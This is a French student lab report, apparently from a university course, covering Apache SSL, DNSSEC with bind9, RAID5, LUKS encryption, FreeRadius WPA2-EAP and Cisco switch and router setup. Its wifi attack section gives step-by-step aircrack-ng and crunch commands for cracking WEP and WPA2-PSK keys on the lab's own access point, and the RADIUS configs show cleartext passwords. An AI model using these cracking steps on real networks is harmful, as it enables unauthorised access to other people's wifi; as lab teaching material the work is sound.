root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl

Puis on relance le serveur Apache2

root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart
[ ok ] Restarting Apache httpd web server: apache2.

On peut vérifier notre configuration :

root@ima2a5-zerofun:/etc/bind# apache2ctl -S
VirtualHost configuration:
*:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)
*:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33


Gestion des certificats

Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl

# openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr 

On places ces fichiers dans /etc/apache2/certificate pour pouvoir les utiliser dans notre fichier de configuration.

Aperçu site web ima2a5-zerofun.site

www.ima2a5-zerofun.site

http://ima2a5-zerofun.site

https://ima2a5-zerofun.site

---home-fabien-Images-site web cav hirt.png


Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D

---sitesécurisé.png

Mise en place du serveur DNSSEC avec bind9

Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP. Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.

Installation et paramétrage de bind9

Installer bind9

# apt-get install bind9

Génération des clés

dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site

Signature de la zone

dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk


Il faut paramétrer bind9. D'abord le fichier .conf qui permet de définir les zones de résolution de DNS.

#nano /etc/bind/named.conf.local
//Zone de resolution du domaine ima2a5-zerofun.site
zone "ima2a5-zerofun.site" {
type master;
file "/etc/bind/ima2a5-zerofun.site.signed";
};

Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS

root@ima2a5-zerofun:/etc/bind# cat named.conf.options 
options {
directory "/var/cache/bind";
dnssec-validation auto;
dnssec-enable yes;
dnssec-lookaside auto;
auth-nxdomain no;    # conform to RFC1035
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" { 
217.70.177.40/32;
};

Enfin, le fichier qui va configurer les zones de résolution

root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site

;
; BIND data file for local loopback interface
;
$TTL    604800
$include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key
$include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key
@       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (
                       26112021        ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      dns.ima2a5-zerofun.site.
@       IN      NS      ns-9-b.gandi.net.
@	IN	NS	ns6.gandi.net.
@	IN	A	193.48.57.161
dns     IN      A       193.48.57.161
www     IN      A       193.48.57.161   
info09  IN      TXT     "Micral"

Notre DNS est maintenant configuré, on relance le service bind9

# service bind9 restart

Gestion des DNS sur gandi.net

Ajout des DNS sur gandi.net :

On a notre serveur de noms principal : dns.ima2a5-zerofun.site

Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net qui supporte les zones DNSSEC

DNSGandi.png

Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:

GlueRecord.png

Attaque Wifi

Installation de l'utilitaire AirCrack

Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK

apt-get install aircrack-ng

Cassage WEP

Lister les interfaces sans fil disponibles

# airmon-ng 
>> phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370

Passage de la carte wifi en mode moniteur

On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode <<moniteur>>.

# airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. 

Ecoute des trames Wifi sur le canal 2

On peut alors sniffer tout ce qui se passe sur le canal 2

# airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b 

Cela nous permet de récupérer le BSSID de notre cracotte01 BSSID : 04:DA:D2:9C:50:50

Récupération des datas échangées sur le réseau Wifi

Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.

# airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b

Décryptage de la clé WEP

Enfin, on ouvre un autre terminal dans lequel on lance la commande

# aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap 

Au bout d'une dizaine de minutes (au moins), on obtient la clé !

Aircrack.png

Cassage WPA2-PSK

D'abord on va lister les interfaces WiFi de notre machine avec la commande

airmon-ng 
PHY	Interface	Driver		Chipset
phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 


Ensuite on va lancer le "monitor mode" pour dédier l'interface à Aircrack

airmon-ng start wlx40a5ef0590b2 

Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. Si on re-check les interfaces, on a maintenant :

PHY	Interface	Driver		Chipset
phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 


Ensuite on récupère l'adresse MAC du point d'accès avec :

airodum-ng --encrypt wpa wlan0mon

On prend le BSSID de notre kracotte01 => 04:DA:D2:9C:50:58

Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur

airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon

Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas) On utilise crunch :

crunch 8 8 0123456789 >> Dico_fc.txt

Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :

root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt

Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)

Opening handshake-02.cap
Read 242831 packets.
  #  BSSID              ESSID                     Encryption
  1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)
Choosing first network as target.
Opening handshake-02.cap
Reading packets, please wait...
                                Aircrack-ng 1.2 rc4
     [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) 
     Time left: 3 hours, 8 minutes, 43 seconds                  9.94%
                          KEY FOUND! [ 10222222 ]
     Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 
                      02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 
     Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 
                      70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 
                      09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 
                      18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A 
     EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E

Stockage Raid5

RAID5, pourquoi? On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres.

RAID5.png

Création des disques

On crée les 3 disques de 1Go

lvcreate -L1G -n ima2a5-zerofun-d1 virtual
lvcreate -L1G -n ima2a5-zerofun-d2 virtual
lvcreate -L1G -n ima2a5-zerofun-d3 virtual


On fait pointer le système de fichiers sur nos 3 disques.

mke2fs /dev/virtual/ima2a5-zerofun-d1
mke2fs /dev/virtual/ima2a5-zerofun-d2
mke2fs /dev/virtual/ima2a5-zerofun-d3

Mise à jour du fichier de config de la VM

On met a jour le fichier de config de la VM

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',
               'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
               'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
               'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',
               'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',
               'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',
             ]

Utilisation de l'utilitaire mdadm pour la gestion du RAID5

On retourne sur la VM et on installe mdadm.

apt-get install mdadm

Construction du volume RAID

# mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5

result:

mdadm: /dev/xvdb3 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
mdadm: /dev/xvdb4 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
mdadm: /dev/xvdb5 appears to contain an ext2fs file system
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970

Démonisation du volume RAID On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage.

# mdadm --monitor --daemonise /dev/md0

Formatage du volume RAID Enfin, on formate le volume.

# mkfs.ext4 /dev/md0

Informations sur notre RAID5

La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée.

root@ima2a5-zerofun:~# mdadm --detail /dev/md0
/dev/md0:
       Version : 1.2
 Creation Time : Thu Nov 28 16:56:26 2019
    Raid Level : raid5
    Array Size : 2095104 (2046.00 MiB 2145.39 MB)
 Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)
  Raid Devices : 3
 Total Devices : 3
   Persistence : Superblock is persistent
   Update Time : Sun Dec  1 01:00:45 2019
         State : clean 
Active Devices : 3
Working Devices : 3
Failed Devices : 0
 Spare Devices : 0
        Layout : left-symmetric
    Chunk Size : 512K
          Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)
          UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0
        Events : 23
   Number   Major   Minor   RaidDevice State
      0     202       19        0      active sync   /dev/xvdb3
      1     202       20        1      active sync   /dev/xvdb4
      3     202       21        2      active sync   /dev/xvdb5


Avec

#fdisk -l 

on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.

Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.

# nano /etc/fstab

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1		/home		ext4		defaults				0		2
/dev/xvdb2		/var		ext4		defaults				0		2
/dev/md0		/media/raid	ext4		defaults				0		1


Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.

mkdir /media/raid

Cryptage de fichiers

On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe.

Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:

apt-get install lvm2 cryptsetup

On affiche les périphériques USB disponibles:

lsblk

Attention ces étapes ont pour but de supprimer le contenu de la clé USB:

fdsik /dev/sda
d //permet de supprimer les partitions 
w // on sauvegarde les modifications 
n // on crée une nouvelle partition
p // pour la rendre primaire 
1 // on lui donne un numéro de partition 

On garde le volume du disque par défaut proposé.

La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé

Chiffrage du périphérique

cryptsetup luksFormat -c aes -h sha256 /dev/sda1
 

Ouverture sécurisée du périphérique

cryptsetup open --type luks /dev/sda1 home

Création du système de fichiers

mkfs.ext4 /dev/mapper/home

Montage du périphérique

mount -t ext4 /dev/mapper/home /mnt/cle_usb

Démontage physique du périphérique

umount /mnt/cle_usb

Fermeture sécurisée du périphérique

cryptsetup close --type luks home

Sécurisation wifi par WPA2-EAP

Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe.

Dans le CISCO :

Création du serveur radius

radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop

Définir le groupe de serveur AAA

aaa group server radius radius_ima2a5-zerofun

Association du groupe de serveur et du serveur de la VM

server 193.48.57.161 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur

aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun

Définition du SSID

dot11 ssid SSID_ima2a5-zerofun                                
vlan num_vlan
authentication open eap eap_ima2a5-zerofun  
authentication network-eap eap_ima2a5-zerofun  
authentication key-management wpa


Configuration du Vlan

interface Dot11Radio0
encryption vlan 2 mode ciphers aes-ccm tkip
ssid SSID_ima2a5-zerofun

Création d'une sous interface

interface dot11Radio0.2

encapsulation dot1Q 2
bridge-group 2

interface gigabite0.2
encapsulation dot1Q 2
bridge-group 2


Ajout SSID dans l'interface Dot11Radio0

interface Dot11Radio0
dot11 ssid SSID_ima2a5-zerofun

Rendre visible le SSID

interface Dot11Radio0
mbssid
dot11 ssid SSID_ima2a5-zerofun
mbssid guest-mode 


exit
exit
write
reload


Serveur FreeRadius

L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur

# ssh @193.48.57.161

Installation de freeradius On commence par installer le logiciel freeradius sur la VM

# apt-get install freeradius

Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs :

pifou Cleartext-Password :="glopglop"
apache Cleartext-Password :="capitaine"

Puis dans /etc/freeradius/3.0/mods-enabled/eap :

default_eap_type = peap

Et dans /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes require_encryption = yes require_strong = yes with_ntdomain_hack = yes

Enfin, on ajoute la borne à la liste des clients :

client access-point {                 
      ipaddr          = 10.60.0.100   
      secret          = glopglop      

}

Et on relance FreeRadius

service freeradius restart

Architecture Réseau

Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.

Bridge Cordouan

Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble

nano /ect/network/interfaces

   # Bridge for IMA2a5
   
   auto eth1 
   auto eth4
   iface eth1 inet manual
       post-up ifconfig $IFACE up
       post-down ifconfig $IFACE down
   iface eth4 inet manual
       post-up ifconfig $IFACE up
       post-down ifconfig $IFACE down
     
   auto IMA2a5
   iface IMA2a5 inet manual
     bridge_ports eth1 eth4

Puis on réveille les ports à l'aide de Ifdown et Ifup

Configuration des 2 commutateurs

Connexion

Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :

   minicom -os ( avec ttyUSB0, une vitesse de transfert de 9600 bauds et le flow control désactivé)     // les paramètres sont modifiable directement depuis les options de minicom
Commande de base

Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs

   enable           // passage en admin pour pouvoir accéder aux données du commutateur
   write            // Sauvegarde de la configuration et l’implanter dans le commutateur
   show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées
   configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier
   exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)

Configuration des ports du commutateur

Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306

- Un lien vers le routeur
- Un lien vers la borne wifi
- Un lien vers Corduan
- Un lien vers l'autre commutateur
Connexion E306 E304
Corduan Gigabitethernet 5/1 Gigabitethernet 1/2
Borne Wifi Gigabitethernet 5/3 Gigabitethernet 2/2
Router Ge 5/1(E306) & Ge 1/1(E304) Ge 1/1(E306) & Ge 2/2(E304)


Création du lien pour la borne wifi
   enable
   configure terminal (ou conf t)
   interface XXXX (ou int XXXX)
   switchport    //Rendre accessible la modification du port
   switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port
   switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port
   no shut    //Démarre le port ou de le garder actif
   exit
   exit
   write


Création du lien pour Corduan
   enable
   configure terminal
   interface XXXX
   switchport
   switchport mode access //Rendre modifiable le port
   switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port
   no shutdown
   exit
   exit 
   write
Création du lien pour le router
   enable
   configure terminal (ou conf t)
   interface XXXX (ou int XXXX)
   switchport    
   switchport trunk encapsulation dot1q   
   switchport mode trunk  
   no shut    
   exit
   exit
   write
Création du lien pour l'autre routeur
   enable
   configure terminal (ou conf t)
   interface XXXX (ou int XXXX)
   switchport    
   switchport trunk encapsulation dot1q   
   switchport mode trunk  
   no shut    
   exit
   exit
   write
Création des Vlan
   enable
   conf t
   vlan 42
   name Corduan
   exit
   exit
   write
   enable
   conf t
   vlan 2 à 7
   name groupe 1 à 6
   exit
   exit
   write
   enable
   conf t
   vlan 130
   name interconnexion
   exit
   exit
   write

Pour supprimer un vlan il suffit de faire :

   no vlan X

Configuration du router E304

Connexion

Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :

   minicom -os ( avec ttyACM0, une vitesse de transfert de 9600 bauds et le 'flow control désactivé)     // les paramètres sont modifiable directement depuis les options de minicom
Commande de base

Ce sont exactement les mêmes que celles utilisées pour les commutateurs

Configuration des ports

Interconnexion du réseau IPV4

  configure terminal
  ip routing
  router ospf 1        //création d'un opsf (Open Shortest Path First)                                      
  router-id 10.60.0.254   
  log-adjacency-changes
  summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé
  summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé
  redistribute connected subnets
  network 192.168.222.6 0.0.0.7 area 1
  exit
  exit
  write

Interconnexion du réseau IPV6

  ipv6 unicast-routing
  conf t
  ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5
  redistribute connected metric 1
  redistribute rip 1 metric 1
  redistribute static metric 1
  exit
  exit
  write
Vers les commutateurs

La configuration est la même pour les 2 ports correspondant aux commutateurs Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion

 enable                                                  

 configure terminal

 interface XXXX                         
 no ip address                            //Pas d'addresse IP associé
 negotiation auto                         //Détermine automatiquement la vitesse de transfert
 media-type RJ45                          //Type de connexion (ici RJ45)

Voici les vlan associé à nos groupes :

 service instance 2 ethernet              // création d'un vlan 2 dans cette interface
 encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk
 rewrite ingress tag pop 1 symmetric      // retire le tag du vlan 
 bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2
   
 service instance 3 ethernet
 encapsulation dot1q 3
 rewrite ingress tag pop 1 symmetric
 bridge-domain 3
   
 service instance 4 ethernet
 encapsulation dot1q 4
 rewrite ingress tag pop 1 symmetric
 bridge-domain 4
 
 service instance 5 ethernet
 encapsulation dot1q 5
 rewrite ingress tag pop 1 symmetric
 bridge-domain 5
   
 service instance 6 ethernet
 encapsulation dot1q 6
 rewrite ingress tag pop 1 symmetric
 bridge-domain 6
 
 service instance 7 ethernet
 encapsulation dot1q 7
 rewrite ingress tag pop 1 symmetric
 bridge-domain 7

Voici le vlan associé à l'interconnexion :

 service instance 42 ethernet
 encapsulation dot1q 42
 rewrite ingress tag pop 1 symmetric
 bridge-domain 42
Vers le SR 32
 interface XXXX                        
 no ip address
 negotiation auto
 service instance 130 ethernet
 encapsulation dot1q 130
 bridge-domain 130
  
Configuration des BDI
  conf t
   
  interface BDI1
  ip address 10.60.0.254 255.255.255.0
  exit
  
  interface BDI2
  ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask
  standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1
  standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             
  standby 2 preempt                              // Activation du HSRP         
  ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             
  ipv6 enable                                      //Active l'addressage IPV6                              
  ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              
  ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée
  exit
  
  interface BDI3
  ip address 10.60.2.254 255.255.255.000           
  standby version 2
  standby 3 ip 10.60.2.252                                                     
  standby 3 preempt                                       
  ipv6 address 2001:660:4401:60B3::/64 eui-64                                   
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                
  ipv6 nd router-preference High                    
  exit                       
  
  interface BDI4
  ip address 10.60.3.254 255.255.255.000           
  standby version 2
  standby 4 ip 10.60.3.252                                                     
  standby 4 preempt                                       
  ipv6 address 2001:660:4401:60B4::/64 eui-64                                    
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                
  ipv6 nd router-preference High                   
  exit
  
  interface BDI5
  ip address 10.60.4.254 255.255.255.000           
  standby version 2
  standby 5 ip 10.60.4.252                                                    
  standby 5 preempt                                       
  ipv6 address 2001:660:4401:60B5::/64 eui-64                                   
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                
  ipv6 nd router-preference High                   
  exit
  
  interface BDI6
  ip address 10.60.5.254 255.255.255.000           
  standby version 2
  standby 6 ip 10.60.5.252                                                      
  standby 6 preempt                                       
  ipv6 address 2001:660:4401:60B6::/64 eui-64                                    
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                
  ipv6 nd router-preference High                    
  exit  
  
  interface BDI7
  ip address 10.60.6.254 255.255.255.000           
  standby version 2
  standby 7 ip 10.60.6.252                                                      
  standby 7 preempt                                       
  ipv6 address 2001:660:4401:60B7::/64 eui-64                                    
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                
  ipv6 nd router-preference High                    
  exit                                 

  interface BDI42
  ip address 193.48.57.173 255.255.255.240         
  standby version 2
  standby 42 ip 193.48.57.172                                                     
  standby 42 preempt                                       
  ipv6 address 2001:660:4401:60B1::/64 eui-64                                    
  ipv6 enable                                                                    
  ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               
  ipv6 nd router-preference High                    
  exit
  
  int vlan 130
  ip address 192.168.222.1 255.255.255.248         
  ipv6 address fe80::2 link-local                  
  ipv6 enable
  ipv6 rip tpima2a5 enable                        
  exit
  ip rooting
  
  exit
  write

Configuration du router E306

Connexion

Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :

   minicom -os ( avec ttyUSB0, une vitesse de transfert de 9600 bauds et le 'flow control désactivé)     // les paramètres sont modifiable directement depuis les options de minicom
Commande de base

Ce sont exactement les mêmes que celles utilisées pour les commutateurs

Configuration des ports

La configuration est la même pour les 2 ports correspondant aux commutateurs Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion

Création du lien pour SR32
   enable
   configure terminal
   interface XXXX
   switchport
   switchport mode access //Rendre modifiable le port
   switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port
   no shutdown
   exit
   exit 
   write
Création du lien pour les commutateurs
   enable
   configure terminal (ou conf t)
   interface XXXX (ou int XXXX)
   switchport    
   switchport trunk encapsulation dot1q   
   switchport mode trunk  
   no shut    
   exit
   exit
   write

Interconnexion du réseau IPV4

  configure terminal
  router ospf 1        //création d'un opsf (Open Shortest Path First)                                      
  router-id 10.60.0.253   
  log-adjacency-changes
  summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé
  summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé
  redistribute connected subnets
  network 192.168.222.8 0.0.0.7 area 1
  exit
  exit
  write

Interconnexion du réseau IPV6

  conf t
  ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5
  redistribute connected metric 1
  redistribute rip 1 metric 1
  redistribute static metric 1
  exit
  exit
  write
Vers les commutateurs
  conf t
   
  interface Vlan1
  ip address 10.60.0.253 255.255.255.0
  exit
   
  interface Vlan2
  ip address 10.60.1.253 255.255.255.0
  ipv6 address 2001:660:4401:60B2::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 2 ip 10.60.1.252
  standby 2 preempt
  exit
    
  interface Vlan3
  ip address 10.60.2.253 255.255.255.0
  ipv6 address 2001:660:4401:60B3::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 3 ip 10.60.2.252
  standby 3 preempt
  exit
  
  interface Vlan4
  ip address 10.60.3.253 255.255.255.0
  ipv6 address 2001:660:4401:60B4::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 4 ip 10.60.3.252
  standby 4 preempt
  exit   
  
  interface Vlan5
  ip address 10.60.4.253 255.255.255.0
  ipv6 address 2001:660:4401:60B5::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 5 ip 10.60.4.252
  standby 5 preempt
  exit   
  
  interface Vlan6
  ip address 10.60.5.253 255.255.255.0
  ipv6 address 2001:660:4401:60B6::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 6 ip 10.60.5.252
  standby 6 preempt
  exit   
  
  interface Vlan7
  ip address 10.60.6.253 255.255.255.0
  ipv6 address 2201:660:4401:60B7::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 7 ip 10.60.6.252
  standby 7 preempt
  exit   
  
  interface Vlan42
  ip address 193.48.57.174 255.255.255.0
  ipv6 address 2001:660:4401:60B1::/64 eui-64
  ipv6 enable
  ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900
  ipv6 nd router-preference High
  standby version 2
  standby 42 ip 193.48.57.172
  standby 42 preempt
  exit
         
  interface Vlan130
  ip address 192.168.222.2 255.255.255.248
  ipv6 address FE80::42:3 link-local
  ipv6 enable
  exit
  
  exit
  write

Sources

https://rex.plil.fr/

https://wiki-ima.plil.fr/mediawiki//index.php/Accueil

https://tutofacile.org/2017/04/installation-configuration-bind/

https://wiki.debian.org/fr/Bind9

https://doc.ubuntu-fr.org/apache2

https://doc.ubuntu-fr.org/aircrack-ng

https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/

https://doc.ubuntu-fr.org/raid_logiciel